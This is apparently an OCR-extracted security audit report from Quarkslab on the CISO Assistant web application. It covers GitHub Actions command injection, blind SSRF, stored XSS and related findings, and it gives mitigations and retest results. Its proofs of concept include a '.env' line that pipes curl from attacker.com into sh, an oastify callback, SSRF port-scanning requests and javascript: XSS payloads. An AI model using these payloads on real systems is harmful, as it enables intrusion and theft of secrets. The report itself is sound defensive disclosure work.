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1. INTRODUCTION

1.1. Context overview
Intuitem solicited Quarkslab for a Web Application Assessment.

The objective of this security audit is to assess and reduce the final risk level as well as provide expert

feedback on the security level of the solution and highlight possible improvement avenues.

This document aims to be a summary of vulnerabilities found during the audit by giving proof of exploitation

and recommendations to fix them.

1.2.Timeline and confidentiality

Web Application Assessment From 05 May 2025 to 16 May 2025
Retest 26 June 2025

Data gathered during the audit will be handed over to Quarkslab if requested, otherwise they will be
destroyed at the end of the audit.
1.3.Scope
Authorization was provided to Quarkslab to audit the following scope:
e Applications CISO assistant: https://*.ciso-assistant.net/

e Cluster K8s:

e Source code of the application: https://github.com/intuitem/ciso-assistant-community
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1.4. Assessment limitations

The purpose of this assessment is to deliver an expert opinion of the security level reached by the application

at a specific moment. The recommendations made by our experts are addressed to increase Intuitem

confidence in its information system, on the condition that the recommended measures are properly

implemented.

We would like to draw the audited party's attention to the limitations of such an opinion:

The auditors tested vulnerabilities that were disclosed and known before and during the audit
period, (at the dates mentioned in the report).

As attack techniques evolve, a system which has been defined as secure may no longer be secure
after some time. We recommend that the owner of the resources stay updated on technical
developments in this area and implement any recommended fixes from specialized services as soon
as possible.

The expert's opinion aims to increase the level of confidence in security at a specific moment based
on the information provided and the depth of the analysis they were able to perform. This level of
confidence should not be considered absolute. Achieving this level of confidence assumes that the
audited party correctly implements the recommended measures.

Unlike an attacker who follows any lead they find; auditors prioritize organized study. An expert
seeks to identify as many vulnerabilities, real or potential, as possible within a limited time frame
and scope, at a specific moment. The completeness of discovering vulnerabilities within the defined
scope and timeframe cannot be guaranteed.
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2. EXECUTIVE SUMMARY

The main objective was to identify vulnerabilities and potential weaknesses, both known and unknown,

within the in-scope infrastructure. This summary provides an overview of our findings and recommendations

and will use the following risk matrix.

Description

No critical or significant vulnerabilities have been detected on the entire
scope. Security has been considered, and defense mechanisms have been

implemented to limit the risk of attack.

No critical or major vulnerabilities have been detected on the entire scope.
Satisfying Security has been considered, but certain high-level vulnerabilities have yet
to be addressed by the teams.

At least one major vulnerability has been detected on the entire scope.
Insufficient Security efforts are to be taken into consideration by the teams on part or

all scope.

At least one critical vulnerability has been detected. A major security review
is to be considered by the teams on part or all scope.

2.1.High level summary

Based on previous experiences and on the risk matrix, Quarkslab assesses the maturity and security level of

the audited scope as

Based on the source code and dynamic analysis performed on an instance of CISO Assistant (eager-raccoon-
9252.ciso-assistant.net), auditors found multiple Cross-Site Scripting vulnerabilities (V03 - Cross-Site
Scripting (XSS)) that allow an attacker to inject client side JavaScript code and trick a user to click on a link to

trigger malicious payloads.

Several endpoints also have been found to disclose internal information about the underlying architecture
of the application (V04 - Technical information leak) allowing an attacker to gain additional insights on the
inner workings of the application and architecture in place. Additionally, a Server-Side Request Forgery
vulnerability (SSRF) could also be leveraged by abusing the SSO functionality (V02 — Server-Side Request
Forgery). This vulnerability allowed the auditors to coerce the server into issuing HTTP requests to arbitrary

hosts resulting in the ability to map the internal network via port scanning or interact with remote services.

Although the two previously mentioned vulnerabilities do not have a significant impact on their own, they
could be the building blocks of a more elaborate attack chain and be used to achieve greater impact.

Also, a session handling flaw has been found, allowing a user to open multiple sessions from a single account
(VOS5 - Insecure Session Management (Session Concurrency Issue)). Although this has a limited impact, this

could be abused to bypass licensing or could allow an attacker to hijack an account of an unsuspecting user

without any warning.
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Lastly, GitHub Actions workflows of the repository were found to be vulnerable to Commands Injection,
allowing any user to hijack the runner by sending a pull request (V01 - Command Injection in GitHub Action).

Throughout the audit, auditors noticed that critical and vulnerability prone operations (such as
authentication, database queries, backup, file read and write, etc.) are handled by Django core functionalities
which are well-tested and known to be robust.

The code is well structured, and no logic flaws have been uncovered, and typical security recommendations
are followed. Furthermore, no obvious flaws could be found on the infrastructure on CISO Assistant (such as
Kubernetes cluster).

2.2.Retest after the implementation of patches

Following the implementation of patches, security vulnerabilities were addressed with varying outcomes.
Vulnerabilities V01 - Command Injection in GitHub Actions (the vulnerability has been fixed) and V03 - Cross-
Site Scripting (XSS) (the vulnerability has been fixed) have been successfully resolved through the application
of appropriate security, thereby mitigating the associated risks.

However, vulnerability V02 — Server-Side Request Forgery (Blind SSRF) (vulnerability partially fixed), remains
partially unresolved. Blind SSRF patches are implemented using a Terraform configuration. This Terraform
configuration defines a Kubernetes NetworkPolicy named allow-dns-and-public-egress within the
default namespace. The policy applies to all pods in that namespace and restricts only egress traffic. It
explicitly allows outbound DNS queries over both UDP and TCP on port 53 to any destination, enabling name
resolution to function correctly. Additionally, it permits outbound connections to all public IP addresses while
explicitly blocking access to private IP ranges, namely 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16.
This ensures that pods can reach external services on the internet but are prevented from communicating
with internal network resources. The policy is dependent on the creation of a specific Kubernetes node pool,
ensuring it is applied only after the infrastructure is ready.

The residual risk associated with the Blind SSRF (/02 — Server-Side Request Forgery (Blind SSRF) (vulnerability partially fixed))
vulnerability after applying patches is significantly reduced as the probability of exploitation is therefore greatly reduced. In
addition to the fact that its exploitation is complicated, it is no longer possible to interact with elements of the internal network (via
Terraform configuration).

Furthermore, for vulnerability V04 - Technical information leak(the vulnerability has been fixed), now, only
the file name appears.

Finally, VO5 - Insecure Session Management (Session Concurrency Issue) (known and accepted risk), and V06
- Cleartext Protocol Usage (known and accepted risk) have not been remediated. After a thorough risk
assessment, the client has made the informed decision to accept the level of risk associated with these
issues, based on their potential impact and likelihood of exploitation. As such, no further action is currently
planned for these vulnerabilities unless future circumstances change the risk profile.

Quarkslab SAS - Reference: 25-05-2124-REP Page 7 of 33

PUBLIC



Intuitem / Web Application Assessment

Quarkslab

Securing every bit of your data

2.3.Strengths and areas of improvement
The table below describes the strengths and areas for improvement of audited scope.

Robust

Substantial

Insufficient

Security risk Description Protection level

GitHub Actions (workflows) were found to be
GitHub repository o
+ vulnerable to Command Injection, although no further
securi
Y impact could be demonstrated.
o No database injection has been found on the given
Injection (DB) Robust
scope.
Broken No authentication bypass was identified during the
- : Robust
Authentication audit.
Cross-Site Scripting | Multiple XSS vulnerabilities have been discovered, that X
. . . . , Insufficient
(XSS) could be used in social engineering scenario.
Server-Side Request | A SSRF has been discovered that allows to scan the
) Substantial
Forgery (SSRF) internal network.
Security No notable security misconfiguration has been
. . . . - : . Robust
Misconfiguration identified during the audit.
Vulnerable and
No component has been identified as vulnerable or in
Outdated , , , Robust
immediate need of updating
Components
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2.4.Vulnerabilities and recommendations

The table below lists the recommendations for addressing vulnerabilities or audit findings. The risk level is

assessed according to the table below.

Risk assessment

Critical m Marginal Negligible
Very High Serious Medium
High Serious Serious Medium
Probability
Moderate Serious Serious Medium Low
Low Medium Medium Low Low
“VXX” are for vulnerabilities, “HXX” are for hardening measures.
| . - J . Da oal) R R J a o
V01 - )
Improper handling of o ) )
Command . ) ) Sanitize all inputs and avoid
o user input in GitHub ) )
Injection in ) interpolating untrusted data
. Actions (workflows) can Hig ) )
GitHub directly into shell commands
_ lead to Commands )
Actions o o in workflows.
Injection vulnerabilities.
(CVSS:/.)
SSRF vulnerabilities
V02 —Server- | enable attackers to Validate and sanitize user

Side Request

manipulate servers into

inputs, implement a whitelist

information
leak (cvss:2.7)

attackers in identifying

vulnerabilities.

Forgery (Blind | making unauthorized gh Hig Serious of allowed domains, and
SSRF) requests, exposing segment networks to restrict
(cvss: ) sensitive internal access to internal resources.
services and data.
Improper handling of Validate all input and encode
V03 — Cross- )
; o untrusted input allows output based on context.
Site Scripting o )
(XS5) JavaScript injection and gin Hig Serious Furthermore, apply strong
execution in the browser CSP rules to prevent all forms
(cvss: ) ,
across multiple contexts. of XSS.
o Ensure error messages are
The application exposes ) ) o
V04 — o ) generic, hide sensitive
. sensitive technical ) ] )
Technical ) ) ) technical details, and review
details which could assist gible L Low

configurations to prevent

unintentional information

exposure.
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sessions are allowed
without restriction or

Multiple concurrent user

notification, creating a Marginal ow
session management

weakness.

Sensitive data is

transmitted over the

network using |Negligible Low

unencrypted, cleartext
protocols.

Limit or monitor concurrent
sessions and enforce secure
session lifecycle practices to
reduce exposure to
unauthorized access.

cleartext
communication with secure,

Replace all

encrypted alternatives like
TLS-based protocols.
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3. AUDIT RESULTS

3.1.Vulnerabilities

3.1.1. V01 - Command Injection in GitHub Actions (the vulnerability has been fixed)

Workflows of CISO Assistant GitHub repository:

Affected target(s) ® backend-api-tests.yml
* functional-tests.yml

e startup-tests.yml

L Improper handling of user input in GitHub Actions (workflows) can lead to Commands Injection
Description .
vulnerabilities.

. Sanitize all inputs and avoid interpolating untrusted data directly into shell commands in
Recommendations
workflows.

CVSS score CvSS3.1:

CVSS Link

3.1.1.1. Description of the vulnerability

A command injection vulnerability exists in a GitHub Actions workflow step where the value of a potentially
untrusted environment variable (BRaNCH NAME) is directly interpolated into a shell command using $¢(...)
substitution. If this variable includes shell metacharacters or command substitution syntax, it can lead to the

execution of arbitrary commands in the workflow runner's environment.

3.1.1.2. Impact of the exploitation

An attacker could gain control over the runner environment, potentially leading to credential theft, data
exfiltration, or unauthorized access to internal systems and repositories. Auditors demonstrated this by
executing code on the runner used by the backend-api-tests.yml workflow, however, other workflows
(functional-tests.yml and startup-tests.yml) have also been identified as vulnerable.

3.1.1.3. Proof of concept and steps to reproduce

Example 1: Command injection in branch name (BRANCH NAME)

To reproduce the vulnerability, the auditors reproduce the workflow.

name: API Tests
permissions:
contents: read

on:
pull request:
branches: [main, develop]
types: [opened, synchronize]
paths:

Quarkslab SAS - Reference: 25-05-2124-REP Page 11 of 33
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- "backend/**"
— ".github/workflows/backend-api-tests.yml"”
workflow_dispatch:

env:

GITHUB_WORKFLOW: github_actions
PYTHON VERSION: "3.12"
UBUNTU_VERSION: "ubuntu-24.04"

jobs:
test:
runs-on: ubuntu-24.04

steps:
- uses: actions/checkout@v3

- name: Run migrations
working-directory: ${{env.backend-directory}}
run: |
export S(grep -v '“#' .env | xargs)
poetry run python manage.py migrate
— name: Run API tests
working-directory: ${{env.backend-directory}}

run: |
export $(grep -v '“#' .env | xargs)
poetry run pytest app_ tests/api --html=pytest-report.html --self-contained-html

- name: Set current date as env variable
if: ${{ 'cancelled() }}
run: echo "NOW=$ (date +'$Y-%m-%$dT$H-$M-%S')" >> 5GITHUB_ENV
— name: Sanitize branch name
if: ${{ 'cancelled() }}
run: echo "BRANCH SANITIZED=S$(echo "${{ env.BRANCH NAME }}" | tr "/()" " ")" >> SGITHUB ENV

By reproducing the workflow on a distinct private GitHub repository, auditors could reproduce the behavior

and achieve code execution on their repository.

+) Actions [ Pr 3 ty ¥ 3 Settings

@ Second test. #5

(M Summary

@ build

Y Workflow file

Sanitize branch name

» Run e«

journal)

Figure 1 — Example of command injection via the code of the workflow.

Replicating the trigger (a pull request) auditors could confirm that the vulnerability can be triggered by an

external attacker, only by submitting a pull request.
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Figure 2 — Injecting a command into the branch name to exploit Commands injection.

2025-mai-07 09:13:51.659 UTC h5n9qdwa48loubz61fud7witSowsnudi2 20.168.166.35

1a DNS lookup of t ( C poc.h5n9qdwa8loubz61fu47wlt50wb6nudi2.oastify.com

eceived from IP address 20.16¢ 35:61302 3 599 UT(

All IP Ranges > 20.0.0.0/8 > 20.168.0.0/16 > 20168.166.0/24 > 20.168166.35

20.168.166.35

B San Jose, California, United States

cloud & hosting

Need more data or want to access it via APl or data downloads? Sign up to get free access

S >

Geolocation ASN 75 - Microsoft Corporation
Hostname No Hostname

Privacy
Range ).0M2

ASN Company Microsoft Corporation

Figure 3 — Command injected into the runner making a callback to an attacker-controlled server.

This can be further escalated to leak environment variables, potentially exposing secrets.
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) Summary

Jobs

@ build

Usage
59 Workflow file Run a multi-line script

» Run echo Add ot

Adc er actions to ild,
test, and deploy your project.

Sanitize branch name

» Run echo "BRANCH_SANITIZED 3

BRANCH_SANITI RUSJVULF goL3 1 \ ¢nZlci5qYXIAQO90
pY29uZGEARD

a VOITOIFXZEXX1g

YW1KN J QAROLUSFVCX1BBVEQILZNvDWU

bW1hbmRZL2FKZFIWYXROX

VUJTQURUSUSCPVI

CcnUVZ3IhZGX1LTQuiTQAROLUSFVCX1IFUEITSVRP

Figure 4 — Leaking environment variables through the Commands injection.

Extract of the environment variables of auditors' repository.

SELENIUM JAR PATH=/usr/share/java/selenium-server.jar
CONDA=/usr/share/miniconda

GITHUB WORKSPACE=/home/runner/work/test/test

JAVA HOME 11 X64=/usr/lib/jvm/temurin-11-jdk-amdé64

GITHUB PATH=/home/runner/work/ temp/ runner file commands/add path 020aS5c7b-2d83-458e-
ala6-24a8d4e208fa

GITHUB_ACTION=_ _run 3

JAVA HOME=/usr/lib/jvm/temurin-17-jdk-amdé64
GITHUB_RUN_NUMBER=13

GRADLE HOME=/usr/share/gradle-8.14

GITHUB REPOSITORY OWNER ID=164193482

ACTIONS RUNNER ACTION ARCHIVE CACHE=/opt/actionarchivecache
XDG_CONFIG_HOME=/home/runner/.config

MEMORY PRESSURE WRITE=c29tZ SAYMDAWMDAQgMj AWMDAWMAA=

DOTNET SKIP FIRST TIME EXPERIENCE=1

ANT HOME=/usr/share/ant

JAVA HOME 8 X64=/usr/lib/jvm/temurin-8-jdk-amdé4
GITHUB REF TYPE=branch

HOMEBREW CLEANUP PERIODIC FULL DAYS=3650

Example 2: Potential environment variable injection

Another entry point has been identified in the workflow if an attacker ships a .env file in the repository

content.

The following .env file might be used to achieve Command Execution.

EVIL=S$ (curl http://attacker.com | sh)
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Replace the following command:

export $(grep -v '“#' .env | xargs)

With a safer way to load environment variables such as:

set -o allexport
source .env
set +o allexport

3.1.1.4. Mitigations

To mitigate the risk of Commands Injection in GitHub Actions (workflows), developers should adopt secure
coding practices and leverage GitHub’s built-in security features. Untrusted input should never be
interpolated directly into run: commands without proper validation or escaping. All inputs must be carefully
validated against expected patterns and sanitized to eliminate potentially dangerous characters or
sequences. Additionally, input data should be handled safely by assigning it to environment variables using
the env keyword or by passing it through the with block. Finally, it is crucial to restrict permissions and
minimize the privileges of GitHub Action tokens to reduce the potential impact of a compromise.
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3.1.2. V02 - Server-Side Request Forgery (Blind SSRF) (vulnerability partially fixed)

Affected target(s) e (ISO assistant instance (https.//eager-raccoon-9252.ciso-assistant.net)

- ioti SSRF vulnerabilities enable attackers to manipulate servers into making unauthorized requests,
escription . . )
exposing sensitive internal services and data.

X Validate and sanitize user inputs, implement a whitelist of allowed domains, and segment
Recommendations . .
networks to restrict access to internal resources.

CVSS score CVSS 3.1:

CVSS Link

3.1.2.1. Description of the vulnerability

A blind Server-Side Request Forgery (SSRF) vulnerability occurs when an attacker can make the target server
initiate requests to internal or external systems but does not receive a direct response from those requests.
Instead, the attacker infers whether the request was successful or not through indirect signals, such as timing
differences, error messages, or lack of response. In the case of a time-based blind SSRF, the attacker probes
different ports by making the server send HTTP requests to internal IP addresses or services. By analyzing
how long the server takes to respond, the attacker can infer whether a port is open (quick response or a
connection) or closed (timeout or delay), effectively performing internal port scanning.

3.1.2.2. Impact of the exploitation

This vulnerability can expose internal infrastructure that is not directly accessible from the outside. An
attacker can map internal networks, identify services running on specific ports, and potentially find
misconfigured or vulnerable services. For example, discovering that port 2375 is open may reveal an
unprotected Docker daemon, which could lead to full remote code execution. Since blind SSRF doesn't rely
on direct responses, it is often harder to detect and block, especially if the server doesn’t log outbound
request timing or destination data. This kind of reconnaissance can be the first step in a more targeted attack
against an organization's internal assets.

3.1.2.3. Proof of concept and steps to reproduce

Browse to /settings and select the “SSO” tab. The metadata URL field can be modified to point to an attacker-
controlled server (here, a Burp collaborator instance).
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€ » O =://eager-raccoon-9252.ciso-assistant.nevsertings
Settings
o o ® Home Settings
[[ debug ]1
ORGANIZATION 7=z @ general @SSO M Client settings
Configure your Single Sign-On settings here.
CATALOG >
Enable SSO
OPERATIONS > SAML IdP configuration
IdP Entity ID *
GOVERNANCE > D
RISK > Option 1: Fill the metadata url
Metadata URL
SOMRUNAE > |« cqwify7yrpfZemtmyqi0Sk1roiudi16q.oastify.com/AAAA?BBBB=CCCC

Figure 5 — Metadata URL modified to point to attacker-controlled server.

After trying to log in via SSO by clicking the button “Login with SSO” an error is triggered, and the attacker-
controlled server receive a request from the server.

"\5 eagerraccoon-9252.ciso-ass. X |+ - - &+ x

€ > C //eager-raccoon-9252. ciso-assistant.net/login e Q P @

»)

LOg into your account
You need to login to access all the features

Email *

00

Password *

{{ debug }} Forgot password?

or
Login with SSO

Figure 6 — Error message on the login page after clicking "Login with SSO".
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# Time Type Payload Source IP address

15 2025-May-07 14:35:25.668 UTC HTTP cgwify7yrpf7emtmyqiosk1roiugiieq [91.13264.158 |

14 2025-May-07 14:35:25.610 UTC DNS cgwify Tyrpfiemtmygi0Skroiudii6q 51.178.111.227
Description Request to Collaborator Response from Collaborator

Pretty Raw Hex

CET /AAAATBBEI=CCCC HITP/1.1

Accept-Encoding: identity

Host: cgwityZyrpf7emtmyqiCSklroiubilég.oastify.com
Lser-Agent: Python-urllib/3.12

; Connection: close

NS W N =

Figure 7 — Request received by the attacker-controlled server.

Although only a limited part of the request can be controlled (the URL, including GET parameters), this can

be abused to perform port scanning.

Request (HTTP):

POST /settings?/sso HTTP/2

Host: eager-raccoon-9252.ciso-assistant.net

Cookie:

Content-Type: application/x-www-form-urlencoded
X-Sveltekit-Action: true

Content-Length: 1560

Origin: https://eager-raccoon-9252.ciso-assistant.net

urlmodel=sso-

settings& superform json=%5B%7B%22is_enabled%22%3A1%2C%22provider%22%3A2%2C%22provider_i
d%22%3A-1%2C%22provider name%22%3A3%2C%22client id%22%3A4%2C%22secret%22%3A-
1%2C%22key%22%3A—

1%2C%22attribute mapping uid%22%3A5%2C%22attribute mapping email verified$%22%3A7%2C%22att
ribute mapping email%22%3A9%2C%22idp entity id%22%3A12%2C%22metadata url$%22%3A13%2C%22sso0
_url%22%3A3%2C%22s1o_url%22%3A3%2C%22x509cert%22%3A3%2C%22sp_entity id%22%3A14%2C%22allow
_repeat_attribute name$%22%3A1%2C%22allow_single label domains%22%3A15%2C%22authn_request
signed%22%3A15%2C%22digest algorithm%22%3A16%2C%22logout request signed$%22%3A15%2C%22logo
ut response signed$%22%3A15%2C%22metadata signed$22%3A15%2C%22name id encrypted$%22%3A15%2C
%$22reject deprecated algorithm%22%3A1%2C%22reject idp initiated sso0%22%3A1%2C%22signature
_algorithm%22%3A16%2C%22want_assertion encrypted%22%3A15%2C%22want_assertion signed%22%3A
15%2C%22want_attribute statement%22%3A1%2C%22want message signed$%22%3A15%2C%22want name i
d%22%3A15%2C%22want_name id encrypted%22%3A15%7D%2Ctrue%2C%22saml%22%2C%22%22%2C%220%22%2
C%5B6%5D%2C%22urn%3Aocasis%3Anames$3Atc$3ASAML%3Aattribute%3Asubject—
id%22%2C%5B8%5D%2C%22http%3A%2F%2Fschemas.auth0.com$%2Femail verified%22%2C%5B10%2C11%5D%2
C%22urn%3A0id%3A0.9.2342.19200300.100.1.3%22%2C%22http%3A%2F%2Fschemas.xmlsoap.org%2Fws%2
F2005%2F05%2Fidentity%2Fclaims%2Femailaddress$22%2C%22ID%22%2C%22https%3A%2F%2F127.0.0.1%
3A8008%2F%22%2C%22ciso—
assistant%22%2Cfalse%2C%22http%3A%2F%2Fwww.w3.0rg%2F2001%2F04%2Fxmldsig-more%23rsa—
sha256%22%5D&__superform id=xyul96

Content of the POST variable  superform json.

[

"is enabled":1,
"provider":2,

"provider_ id":-1,
"provider name":3,
"client_ id":4,
"secret":-1,

"key":-1,

"attribute mapping uid":5,

"attribute mapping email verified":7,
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"attribute mapping email":9,
"idp entity id":12,
"metadata url":13,
"sso url":3,
"slo url":3,
"x509cert":3,
"sp entity id":14,
"allow repeat attribute name":1,
"allow single label domains":15,
"authn request signed":15,
"digest algorithm":16,
"logout request signed":15,
"logout response signed":15,
"metadata signed":15,
"name id encrypted":15,
"reject deprecated algorithm":1,
"reject idp initiated sso":1,
"signature algorithm":16,
"want assertion encrypted":15,
"want assertion signed":15,
"want attribute statement":1,
"want message signed":15,
"want name id":15,
"want name id encrypted":15
by
true,
"saml",
wn
non,
[
6
1,
"urn:oasis:names:tc:SAML:attribute:subject-id",
[
8
1,
"http://schemas.authO.com/email verified",
[
10,
11
1,
"urn:01d:0.9.2342.19200300.100.1.3",
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress",
"ID",
"https://127.0.0.1:8008/",
"ciso-assistant",
false,
"http://www.w3.0rg/2001/04/xmldsig-more#rsa-sha256"
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Response (HTTP):

HTTP/2 200 OK

Date: Wed, 07 May 2025 15:44:21 GMT

Content-Type: application/json

Content-Length: 1293

Set-Cookie:
flash=%7B%22type%22%3A%22success$22%2C%22message$22%3A%225S0%20settings%20updated$22%7D;
Max-Age=120; Path=/; Secure; SameSite=Strict

Strict-Transport-Security: max-age=31536000; includeSubDomains

{"type":"success","status":200, "data":"[{\"form\":1}, {\"id\":2,\"valid\":3, \"posted\":3,\
"errors\":4,\"data\":5},\"xyul96\", true, {}, {\"is_enabled\":3,\"provider\":6, \"provider_id
\":-1,\"provider name\":7,\"client_id\":8,\"secret\":-1,\"key\":-

1,\"attribute mapping uid\":9,\"attribute mapping email verified\":11,\"attribute mapping
_email\":13,\"idp _entity id\":16,\"metadata url\":17,\"sso_url\":7,\"slo_url\":7,\"x509ce
rt\":7,\"sp_entity id\":18,\"allow_repeat attribute name\":3,\"allow_single label domains
\":19,\"authn_request_signed\":19,\"digest_algorithm\":20,\"logout request signed\":19,\"
logout response signed\":19,\"metadata signed\":19,\"name id encrypted\":19,\"reject depr
ecated algorithm\":3,\"reject idp initiated sso\":3,\"signature algorithm\":20, \"want ass
ertion encrypted\":19,\"want assertion signed\":19,\"want attribute statement\":3,\"want
message signed\":19,\"want name id\":19,\"want name id encrypted\":19},\"saml\",\"\",\"0\
",[10],\"urn:oasis:names:tc:SAML:attribute:subject-
id\",[12],\"http://Schemas.autho.com/email_verified\",[14,15],\"urn:oid:O.9.2343.19200300
.100.1.3\",\"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress\", \"ID\",
\"https://127.0.0.1:8008/\",\"ciso-assistant\", false, \"http://www.w3.0rg/2001/04/xmldsig-
morefrsa-sha256\"]"}

After this modification, issuing a POST request to /api/iam/sso/redirect/ results in a delay of about ten

seconds for the response.

Figure 8 — Delay when requesting localhost:8008 via the SSRF.
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When modifying to another port (in this case localhost:8008), the delay is inferior to 100 milliseconds.

Figure 9 — Instant response when the metadata URL is configured for an know open port.

This disparity in delay allows to enumerate network (port scanning) of adjacent hosts and their ports by
modifying the SSO configuration. If the request is delayed significantly or times out, the port is most likely

open, otherwise, it might be closed.

As a result of the implemented patches, it is no longer possible to scan hosts on the internal network except for 127.0.0.1. The
Terraform configuration ensures that pods can reach external services on the internet but are prevented from communicating with

internal network resources.

3.1.2.4. Mitigations

To mitigate blind SSRF vulnerabilities, applications should strictly control and validate any user input that can
be used to construct URLs or network requests. Whitelisting allows domains and IP addresses, instead of
blacklisting, significantly reduces the risk. Additionally, disabling unnecessary outbound network access from
application servers and using network segmentation to isolate critical services can limit exposure.
Implementing request timeouts and logging unusual outbound connection behavior can also help detect and

prevent exploitation attempts based on response timing.

3.1.2.5. References

e https://portswigger.net/web-security/ssrf

e https://blog.quarkslab.com/exploiting-glpi-during-a-red-team-engagement.html|

e https://owasp.org/Top10/en/A10_2021-Server-Side_Request_Forgery (SSRF)/

e https://portswigger.net/web-security/images/server-side%20request%20forgery.svg
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3.1.3. V03 - Cross-Site Scripting (XSS) (the vulnerability has been fixed)

Affected target(s) e (ISO assistant instance (https.//eager-raccoon-9252.ciso-assistant.net)

- ioti Improper handling of untrusted input allows script injection and execution in the browser across
escription .
multiple contexts.

X Validate all input and encode output based on context. Furthermore, apply strong CSP rules to
Recommendations
prevent all forms of XSS.

CVSS score CVSS 3.1:

CVSS Link

3.1.3.1. Description of the vulnerability

Cross-Site Scripting (XSS) vulnerabilities occur when untrusted user input is processed by a Web application
in a way that allows the injection and execution of malicious JavaScript. A Stored XSS attack occurs when an
attacker injects malicious JavaScript which is then permanently stored and executed every time the page is
loaded by a victim. In this specific scenario, the attacker embeds a malicious JavaScript code, such as <a
href="javascript:alert ('XSS') ">Click Me</a> in a <a> tag. As the injection occurs in a <a> tag, the

exploitation requires a user interaction (clicking on the link).

3.1.3.2. Impact of the exploitation

The impact of this type of attack can be severe. When the victim clicks the malicious link, the embedded
JavaScript is executed, and the attacker can perform actions such as stealing cookies, session tokens, or
sensitive data from the victim. This can also lead to a session hijacking, redirection to malicious sites, or
manipulation of the page’s content. Since the payload is stored on the server, it will affect any user who
clicks the link, making it possible for the attacker to target multiple victims by leaving a single malicious link

on the page.

3.1.3.3. Proof of concept and steps to reproduce

This XSS scenario involves a malicious <a> tag with an href="javascript:..." that opens a new blank tab
(target="_blank"). When the user clicks the link, the browser executes the JavaScript payload directly in
the context of the new tab (which is about :blank), but not the original site.

Example: XSS via user interaction (click on <a> tag) with ref_id and 1ink elements

The following HTTP request can be used to inject malicious content that will be executed when clicked.
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Request (HTTP):

POST /policies/608848e3-0ef1-4489-9e2c-08f5df0dffll/edit HTTP/2

Host: eager-raccoon-9252.ciso-assistant.net

Cookie: token=8def%ab6777£44289dd52a51a3£fd1£67305c97810415cad00fdef4eb0b6689235;
allauth session token=JUNK

User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json

Content-Type: application/x-www-form-urlencoded

X-Sveltekit-Action: true

Content-Length: 982

Origin: https://eager-raccoon-9252.ciso-assistant.net

urlmodel=policiesé&range-slider=0&__superform json=...& superform id=zbl5io

Content of the POST variable __superform_json.

[{
"name":1,
"description":2,
"ref id":3,
"csf function":4,
"priority":5,
"status":6,
"evidences":7,
"assets":10,
"eta":2,
"start date":2,
"expiry date":2,
"link":11,
"effort":2,
"control impact":5,
"cost":2,
"folder":12,
"reference control":2,
"owner":13,
"security exceptions":14,
"progress_ field":15,
"filtering labels":16,
"findings":17
I
"Acceptable encryption policy",
null,
"javascript:alert ('AAAA')",
"govern",
1,

[8, 91,
"ca5ff41d-6dbd-4fa8-bbf9-b116d41e3388",
"cb63cf5e-4a3c-4bea-8142-e9716ecab315",
[l

"javascript:alert('BBBB')",
"7305077a-4d70-4401-9ed6-b82236bc989b",
[l

(1,

0,

(1,

[]
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Response (HTTP):

HTTP/2 200 OK

Date: Mon, 12 May 2025 13:33:58 GMT

Content-Type: application/json

Content-Length: 1383

Set-Cookie: csrftoken=6eeRmA8WgOWYALlKp6d0kVYgneBHx0pxcgF82Cak21xIdPlrr8x5WtxoGlRH5a;
Path=/; Secure; SameSite=Lax

Set-Cookie:
flash=%7B%22type%$22%3A%22success$22%2C%22message%$22%3A%22The%20policy%$20o0bject%$20has%20be
en%20successfully%$20updated%22%7D; Max-Age=120; Path=/; Secure; SameSite=Strict
Strict-Transport-Security: max-age=31536000; includeSubDomains

{"type":"success","status":200,"data":"[{\"form\":1}, {\"id\":2,\"valid\":3,\"posted\":3,\
"errors\":4,\"data\":5, \"message\":23},\"zbl5io\", true, {}, {\"name\":6, \"description\":7,\
"ref id\":8,\"csf function\":9,\"priority\":10,\"status\":11,\"evidences\":12,\"assets\":
15,\"eta\":7,\"start _date\":7,\"expiry date\":7,\"1link\":16,\"effort\":7,\"control impact
\":10,\"cost\":7,\"folder\":17, \"reference control\":7,\"owner\":18,\"security exceptions
\":19,\"progress field\":20,\"filtering labels\":21,\"findings\":22}, \"Acceptable
encryption policy\",null,\"javascript:alert('AAAA')\",\"govern\",1,\"--
\",[13,14],\"ca5ff41d-6dbd-4fa8-bbf9-b116d41e3388\",\"cb63cf5e-4a3c-4bea-8142-
e9716eca5315\", [1,\"javascript:alert('BBBB')\",\"7305077a-4d70-4401-9ed6~-

b82236bc989b\", [1,[1,0,[]1,[],{\"object\":24}, {\"id\":25,\"findings\":26,\"created at\":27
,\"updated at\":28,\"name\":6,\"description\":7,\"priority\":10,\"ref id\":8,\"category\"
:29,\"csf function\":9,\"status\":11,\"start date\":7,\"eta\":7,\"expiry date\":7,\"link\
":16,\"effort\":7,\"control impact\":10,\"cost\":7,\"progress field\":20,\"is published\"
:3,\"folder\":17,\"reference control\":7,\"filtering labels\":30,\"evidences\":31,\"asset
s\":32,\"owner\":33,\"security exceptions\":34},\"608848e3-0ef1-4489-9%e2c-
08f5df0dff11\", []1,\"2025-05-06T08:28:52.460000Z\",\"2025-05-
12T13:33:58.649517z2\",\"policy\", [1,[13,141,0(1,[1,[11"}
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This modifies the ref-id and Link values of the entry.

“ C QO B nhttps://eager-raccoon-9252.ciso-assistant.net/applied-controls/fef19a2d-7445-4a4c-alce-74bd91424515
Enable multi AZ on cloud services
. O O ® Home Applied controls Enable multi AZ on cloud services
testing
Domain DEMO
OVERVIEW >
Reference control -
INSIGHTS >
Priority
ORGANIZATION > Category
CATALOG > CSF Function Protect
Effort
OPERATIONS v
Impact
¥ Applied controls
@ Calendar Cost
# X-rays o
# Incidents Assigned to
® Tasks Exceptions
Created at 5/6/2025, 10:28:52 AM
GOVERNANCE >
Updated at 5/6/2025, 3:54:28 PM
L 2 Name Enable multi AZ on cloud services
COMPLIANCE > Description
THIRD PARTEES > Reference ID
Status In progress
PRIVACY >
ETA
EXTRA >
Expiry date o
Link
Progress
Figure 10 — Malicious JavaScript inserted into the Link attribute of an Applied Control
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When clicked with middle-click the JavaScript payload is executed.

C Q javascript:alert(1)

© eager-r
1

O Autoriser les notifications de ce type depuis eager-
raccoon-9252.ciso-assistant.net & basculer vers leur onglet

b <div classe"grid grid-cols-1 gap-1
SMIgep-47> = </giv> grig
b <div classe"grid grid.cols-1 gap-1
smigap-4"> = </div> grid
b <div classe"grid grig-cols-1 gap-1
smigap-4"> = </div> grid
b <div cless«"grig grid.cols-1 gap-1
seigap-4> = </div> grid
